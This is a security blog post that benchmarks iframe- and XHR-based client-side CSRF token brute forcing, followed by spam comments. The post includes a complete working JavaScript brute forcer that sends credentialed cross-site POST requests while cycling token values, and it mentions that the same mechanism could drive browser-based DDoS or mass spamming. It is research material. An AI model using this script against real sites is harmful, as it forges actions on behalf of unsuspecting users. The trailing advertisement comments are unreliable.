Previously I covered the basics of CSRF and demo'ed two iframe based brute force scripts. The posts can be found here:
http://pwndizzle.blogspot.com/2012/11/back-to-basics-csrf.html
And here:
http://pwndizzle.blogspot.com/2012/11/client-side-csrf-token-brute-forcing.html
CSRF token brute forcing: IFRAME vs XHR
Having already introduced client-side CSRF token brute forcing in my previous post I'm going to jump straight into how techniques using iframes and XHR compare with each other.
Fundamentally iframes and xhr are completely different things. Iframes provide a way to embed content in a page. In the previous examples however we used them as a way to send hundreds of arbitrary requests to a third party without leaving the current page. Although iframes can do this, they were never optimised for it.
XMLHttpRequest on the other hand was created as a way to send/receive arbitrary data. The granularity offered by XHR allows greater control of the connection and greater efficiency when it comes to brute forcing.
Doesn't Same Origin Policy prevent Cross-Domain Requests?
I meant to cover this in the previous post but didn't have time. The short answer is no.
Iframes by design are allowed to load cross domain content but browser's prevent cross domain interaction between the page and the iframe. It is still possible to send a request through an iframe (for CSRF), we just can't see the response.
One of the most interesting attacks involving iframes is click-jacking, where we embed a legitimate site within a malicious page we control and trick the user into interacting with the embedded page. Wikipedia:
http://en.wikipedia.org/wiki/Clickjacking
Most large sites now implement the x-frame-options header to prevent framing of content. If a server responds with the x-frame-options header set to DENY, the browser will not render the content. Lets compare the response headers of Facebook and Amazon:
Facebook homepage, notice the X-Frame-Options header.
Amazon homepage, no X-Frame-Options header!
As you can see below the Amazon main page is open to click jacking.
Anyhow I'm getting a bit off topic, back to XHR! XHR like any other browser request is subject to the usual restrictions, by default cross domain requests are allowed but responses are never rendered. There are some exceptions of course such as scripts, CSS, images and CORS.
But for CSRF though, the important point is that browsers allow you to send cross domain requests. You can't see responses but in a CSRF attack you don't care about responses!
For more information on XHR its worth checking out:
Lets build a brute forcer!
Following on from my previous work I decided to write a XHR-based CSRF token brute forcer to see if I could speed up the brute force process. I had a search around on Google and couldn't find a CSRF token brute force script that used XHR, so I decided to write my own.
1. XHR Code
I started off with some basic XHR code. Shreeraj Shah covers a simple XHR CSRF example here:http://shreeraj.blogspot.com/2011/11/csrf-with-json-leveraging-xhr-and-cors_28.html
var xhr = new XMLHttpRequest(); var url = 'http://192.168.1.124/submit.php'; xhr.open('POST',url, true); xhr.setRequestHeader('Accept', 'text/javascript, text/html, application/xml, text/xml, */*'); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.withCredentials='true'; var datas = 'name=a&phone=b'; xhr.send(datas);
It's pretty self explanatory, we create our XHR connection object, set basic request parameters with open, define extra headers, create the data string we want to send and send it.
Shreeraj's example includes the withCredentials method to ensure our request would use the user's cookie when sent and he also sets the content-type to plain text. The site I was testing against required me to use a content-type of "application/x-www-form-urlencoded" and didn't enforce preflight checks so I changed this parameter.
2. Iteration To Send Multiple Requests
Just like the previous brute forcers I also found setInterval and setTimeout to be the quickest way to send and control XHR. I configured setInterval to repeatedly call a function containing the XHR connection code. SetTimeout stops setInterval after a specified time period and outputs the finished message to the screen.I used a set of global variables to maintain the current state of the attack, each new request would use the current values and increment them. I did try using a FOR loop to spam requests but I found Chrome throttled the requests to one per second.
var task = setInterval("openXHR();", 1);
setTimeout("clearInterval(task);document.getElementById('done').innerText ='Finished'", 1000);
I created some funky incrementing code to allow iteration through number or letter arrays and also to allow arbitrary positioning of variables. No doubt this can be cleaned up a bit.
3. Maximizing Throughput: A Balancing Act
I played around quite a bit with different ways to increase the throughput. This was a careful balancing act between the number of connections, the number of requests being sent to the connections and how fast connections could be established and pulled down.- Multiple XHR Objects
I discovered Chrome would use the same connection for sending multiple requests provided you gave it enough time for each request to receive a response. If you start forcing requests down the same connection Chrome opens new connections. So it turns out you don't really need to use multiple objects, with a single XHR object Chrome automatically runs at maximum speed.
Using an interval of 50ms Chrome will use a single connection (src port)
With an interval of 10ms Chrome opens a new connection for each request
(For attacking sites locally multiple XHR objects will give you a speed increase as responses are received a lot quicker. However when you try this with a remote site the latency causes requests to start backing up and this technique no longer works.)
- Aborting connections after the request
Typical timings for a request (see Time column)
I tested this by performing xhr.send followed by a call to a wait function, then xhr.abort. This technique worked but was not as fast as I had hoped and capped out around 40 requests per second.
Using the abort method we send a FIN after our request is sent
As you can see from the packet capture, the abort method sends a FIN to gracefully close the connection and the connection stays open waiting for a FIN ACK. Compared to our initial run its no faster. Ideally we want to close the connection as quickly as possible so would rather send an RST packet but I couldn't find a way to do this :(
- Keeping it simple?!?
Spamming requests!
The catch with this technique is that its unreliable. You will often lose packets as you are trying to send data when no connection slot is free. Using an interval of just 1 millisecond I sometimes saw losses of up to 75%. The interval can be adjusted according to how reliable you need the attack to be.
4. The Finished Product
Putting everything together here's the final code for the brute forcer:
<html>
<body>
<div id="a">Sending request: <output id="result"></output></br>
<div>NOTE: Browser requests sent != Actual requests sent (Check wireshark)</div>
<output id="done"></output></div>
<script>
//Create XHR objects
var xhr1 = new XMLHttpRequest();
var xhr2 = new XMLHttpRequest();
//Global variables
var url = 'http://192.168.1.124/submit.php';
var numbers = new Array("0","1","2","3","4","5","6","7","8","9");
var alphabet = new Array("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z");
var i=0;
var j=0;
var k=0;
var l=0;
var m=0;
//Simple wait function
function tea_break(msec) {
var date = new Date();
var curDate = null;
do { curDate = new Date(); }
while(curDate - date < msec); }
//Function to send a request using current parameters
function openXHR(){
xhr1.open('POST',url, true);
xhr1.setRequestHeader('Accept', 'text/javascript, text/html, application/xml, text/xml, */*');
xhr1.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr1.withCredentials='true';
var data1 = 'name=a&phone=b&email=c&csrf=' + numbers[j] + numbers[k] + numbers[l] + numbers[m];
xhr1.send(data1);
//***Optional wait and abort
//tea_break(5);
//xhr.abort();
//Screen output
document.getElementById('result').innerText = "" + j + k + l + m;
//***Optional second XHR object
//xhr2.open('POST',url, true);
//xhr2.setRequestHeader('Accept', 'text/javascript, text/html, application/xml, text/xml, */*');
//xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
//xhr2.withCredentials='true';
//var data2 = 'name=a&phone=b&email=c&csrf=' + numbers[j] + numbers[k] + numbers[l] + numbers[m];
//xhr2.send(data2);
//Will need to change limits/logic for alphabet set
if(m<9){
m++;
} else{
m=0;
}
//Tick over to 0 at end of set
if(m==0 && l==9){
l=0;
} else if(m==0){
l++;
}
if(m==0 && l==0 && k==9){
k=0;
} else if(m==0 && l==0){
k++;
}
if(m==0 && l==0 && k==0 && j==9){
j=0;
} else if(m==0 && l==0 && k==0){
j++;
}
}
//Speed at which requests are sent
var task = setInterval("openXHR();", 1);
//Stop sending after x milliseconds
setTimeout("clearInterval(task);document.getElementById('done').innerText ='Finished'", 1000);
</script>
</body>
</html>
Show me some benchmarks!
For this set of testing I relied on Wireshark to get a definitive answer of what packets were actually being sent. Chrome (and likely other browsers) show requests taking place in the developer tools but in reality only a limited number actually complete successfully.
Wired vs wireless had a big impact so I performed all tests plugged in via ethernet. Responses were typically 10ms for wired and 30ms for wireless.
I've also included revised results from my previous tests using IFrames. Results show the maximum number of requests per second.
Browser | Chrome22 | IE9 | FF16 | |||
Multi-IFrame | Local | 29 | 25 | 14 | ||
Remote | 7 | 8 | 7 | |||
Single IFrame | Local | 60 | 79 | 10 | ||
Remote | 50 | 1 | 10 | |||
XHR | Local | 110 | Error | 70 | ||
Remote | 55 | Error | 65 | |||
Non-Browser | ||||||
Python | Remote | 300 | ||||
BlackMamba | Remote | 3000? | ||||
The good news is that the XHR method is faster than the other techniques especially for local attacks. The bad news is that XHR is only marginally faster and is still too slow to crack most CSRF tokens in use today.
The same limitations I discussed in the previous post still apply, with latency and concurrent connection limits having the biggest impact on throughput. Traditional CSRF prevention techniques such as complex tokens or Referrer/Origin checking also prevent this type of CSRF attack.
I've included some numbers for a direct brute force attack using python. At BlackHat this year Dan Kaminsky mentioned BlackMamba which is a concurrent networking library for Python. Using this library he was able to scan 3000 addresses per second. Sweet!
http://www.slideshare.net/dakami/black-ops-2012
Final Thoughts
So we have a brute forcer, what now? Find a page with a weak token, build a malicious page, trick users into visiting your page and enjoy the CSRF, right? ;)
After working on the iframe based brute forcers and the XHR version I feel a little disappointed I couldn't push the requests per second into the hundreds or thousands. For most sites token entropy isn't that bad and realistically you'd need to send 1,000 to 100,000 minimum requests per second for an attack to succeed given the short time frame offered by a drive-by style attack. Unfortunately it's just not feasible to send that many requests with current technology.
Whilst the main focus of my work has been brute force CSRF, the scripts I've been demonstrating essentially provide a client-side mechanism for sending thousands of post requests. Such a mechanism could be used for all kinds of mischief, browser based DDOS and mass spamming spring to mind.
Probably the best thing about these attacks is that all requests would come from unsuspecting users who just happen to run your javascript. The only evidence of the true origin of the attack would be the referrer header of requests and if the malicious javascript was hosted on a legitimate site there would be no way to trace the true origin at all.
I hope you guys have found this interesting, any comments, questions or corrections just leave a message below. Also if anyone can suggest any alternatives to iframes or XHR please let me know! :)
Cheers,
Pwndizzle out
It's great that you share with us.
ReplyDeleteerotic call out escorts
malwarebytes will not open windows 10
ReplyDeletemalwarebytes not working with win 10
malwarebytes not opening
malwarebytes not opening windows 10
malwarebytes not functioning
repair malwarebytes windows hanging errors
malwarebytes not opening on windows 10
Nice Blog!
ReplyDeleteHello connections, are you looking Rolling Mill Stand Manufacturers in India for getting best deal at reasonable prices. So then consider Akshi Engineers Pvt. Ltd. Company for all those requirements related to Hot Rolling Mill. For more information visit our website or dial our contact number, our sales team is 24*7 here to list your business needs.
Awesome post. It is very helpful information for me. Thanks for sharing.
ReplyDeleteAre you experiencing Water Damage Restoration issues? Don’t worry. Hand In Hand Remodel And Repair provides one of the best Water Damage Remediation solutions. Our skilled and trained professionals are here to provide top-notch solutions to fix water damage repair issues. To Hire Trained Professional to Fix Water Damage Solutions, Contact us and visit our website.
One of such solution for me. Thanks for sharing with us.
ReplyDeleteIn case you are searching for Orange County Solar Companies at reasonable or sensible costs. Look no further, Burge Solar Power is one of the most incredible solar panel based organizations in California that works in introducing the best Solar Panel provider at residential and commercial sites. For more information, you can call us or visit our website:
Marriage is one of the biggest things that one has to take in his life. There is no scope for a glitch in the same. If you have any questions about marriage, then marriage Horoscope can give all the answers regarding the same. You can always visit an ace astrologer like Dr. Vinay Bajrangi to put aside any doubts. You can book an appointment by placing a call or drop a mail. If you are still reluctant about your decision, you can read the reviews and feedback of the people who have visited him before.
ReplyDeleteArrangement models have the errands of planning and overseeing arrangement designing to coordinate it with novel business issues. They are responsible for presenting the general specialized vision for an answer and driving AWS arrangement designer projects.
ReplyDeleteArrangements planners can have expansive obligations or be more particular. For instance, when you employ AWS arrangements modeler specialists, they can help with the planning, fabricating, sending, and keeping up with of your business applications and significant foundation inside the AWS framework designer cloud>> cloud infrastructure architect amazon
Britannia Fostering Agency, a dedicated Fostering Agency in Croydon, passionately committed to providing loving homes for children in need. Transforming lives through compassionate care and personalised support.
ReplyDeleteGarvin Tools, your trusted source for premium woodworking tools and accessories Elevate your craft with our high-quality, durable products designed to meet the demands of woodworking enthusiasts and professionals alike.
ReplyDeletesasaxds
ReplyDeleteThanks for share this. you can see devops roles and responsibilities
ReplyDeleteHelpful Information, Thanks for sharing with us.
ReplyDeleteJio Tower installation India allows property owners to lease their land or rooftop space to Reliance Jio for telecom tower placement. Interested individuals can apply through Jio’s official website or contact authorized agents to initiate the process. The installation helps improve network coverage, supporting 4G and 5G connectivity. Property owners benefit from rental income, while Jio expands its network reach. It is crucial to verify the authenticity of agents and avoid potential scams during the application process.
Nice information. Thanks for sharing with us.
ReplyDeleteLandmark Crafts Limited is one of the leading names in the construction industry, offering the best quality drywall screws for durability and precision. Our drywall screws guarantee secure fastening for drywall installations with the highest strength and reliability standards. At Landmark Crafts Limited, we focus on innovation and customer satisfaction, delivering products that enhance efficiency and performance on every project. Experience best drywall solutions with confidence while choosing Landmark Crafts Limited, known for expertise, quality work, and their dedication to excellence.